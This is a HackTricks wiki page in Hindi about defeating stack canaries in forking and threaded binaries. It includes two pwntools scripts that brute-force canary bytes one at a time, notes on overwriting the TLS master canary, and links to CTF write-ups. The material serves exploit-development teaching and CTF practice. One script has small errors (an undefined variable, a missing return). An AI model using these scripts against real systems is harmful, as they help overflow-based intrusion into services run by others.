BF Forked & Threaded Stack Canaries
Reading time: 5 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
यदि आप एक कैनरी और PIE (पोजीशन इंडिपेंडेंट एक्सीक्यूटेबल) द्वारा सुरक्षित बाइनरी का सामना कर रहे हैं, तो आपको शायद उन्हें बायपास करने का एक तरीका खोजने की आवश्यकता है।
note
ध्यान दें कि checksec
यह नहीं पता लगा सकता है कि एक बाइनरी कैनरी द्वारा सुरक्षित है यदि इसे स्थिर रूप से संकलित किया गया था और यह फ़ंक्शन की पहचान करने में असमर्थ है।
हालाँकि, आप इसे मैन्युअल रूप से देख सकते हैं यदि आप पाते हैं कि एक फ़ंक्शन कॉल की शुरुआत में स्टैक में एक मान सहेजा गया है और इस मान की जांच निकासी से पहले की जाती है।
ब्रूट फोर्स कैनरी
एक साधारण कैनरी को बायपास करने का सबसे अच्छा तरीका है यदि बाइनरी एक प्रोग्राम है जो हर बार जब आप इसके साथ एक नया कनेक्शन स्थापित करते हैं, तो चाइल्ड प्रोसेस को फोर्क करता है (नेटवर्क सेवा), क्योंकि हर बार जब आप इससे कनेक्ट होते हैं तो वही कैनरी का उपयोग किया जाएगा।
फिर, कैनरी को बायपास करने का सबसे अच्छा तरीका है बस इसे चर द्वारा चर ब्रूट-फोर्स करना, और आप यह पता लगा सकते हैं कि क्या अनुमानित कैनरी बाइट सही थी यह जांचकर कि क्या प्रोग्राम क्रैश हुआ है या अपनी नियमित धारा में जारी है। इस उदाहरण में फ़ंक्शन 8 बाइट्स कैनरी (x64) को ब्रूट-फोर्स करता है और एक सही अनुमानित बाइट और एक खराब बाइट के बीच अंतर करता है बस जांचकर कि क्या सर्वर द्वारा एक प्रतिक्रिया वापस भेजी गई है (एक अन्य स्थिति में अन्य स्थिति में try/except का उपयोग करना हो सकता है):
उदाहरण 1
यह उदाहरण 64 बिट्स के लिए लागू किया गया है लेकिन इसे 32 बिट्स के लिए आसानी से लागू किया जा सकता है।
from pwn import *
def connect():
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
Example 2
यह 32 बिट्स के लिए लागू किया गया है, लेकिन इसे आसानी से 64 बिट्स में बदला जा सकता है।
इसके अलावा, इस उदाहरण के लिए कार्यक्रम ने पहले इनपुट के आकार को इंगित करने के लिए एक बाइट की अपेक्षा की और पेलोड।
from pwn import *
# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21
for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))
# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break
# Return the canary
return known_canary
# Start the target process
target = process('./feedme')
#gdb.attach(target)
# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")
Threads
एक ही प्रक्रिया के थ्रेड भी एक ही कैनरी टोकन साझा करेंगे, इसलिए यह संभव होगा कि एक कैनरी को ब्रूट-फोर्स किया जा सके यदि बाइनरी हर बार एक नया थ्रेड उत्पन्न करती है जब हमला होता है।
इसके अलावा, एक थ्रेडेड फ़ंक्शन में बफर ओवरफ्लो जो कैनरी से सुरक्षित है, का उपयोग TLS में संग्रहीत मास्टर कैनरी को संशोधित करने के लिए किया जा सकता है। इसका कारण यह है कि, यह संभव हो सकता है कि थ्रेड के स्टैक में एक bof के माध्यम से उस मेमोरी स्थिति तक पहुँचा जा सके जहाँ TLS संग्रहीत है (और इसलिए, कैनरी)।
इसके परिणामस्वरूप, यह शमन बेकार है क्योंकि जांच दो समान कैनरी के साथ की जाती है (हालांकि संशोधित)।
यह हमला लिखित में किया गया है: http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads
इसके अलावा https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015 की प्रस्तुति देखें जिसमें उल्लेख किया गया है कि आमतौर पर TLS को mmap
द्वारा संग्रहीत किया जाता है और जब एक थ्रेड का स्टैक बनाया जाता है तो इसे भी mmap
द्वारा उत्पन्न किया जाता है, जो पिछले लिखित में दिखाए गए ओवरफ्लो की अनुमति दे सकता है।
Other examples & references
- https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html
- 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call
execve
and jump there.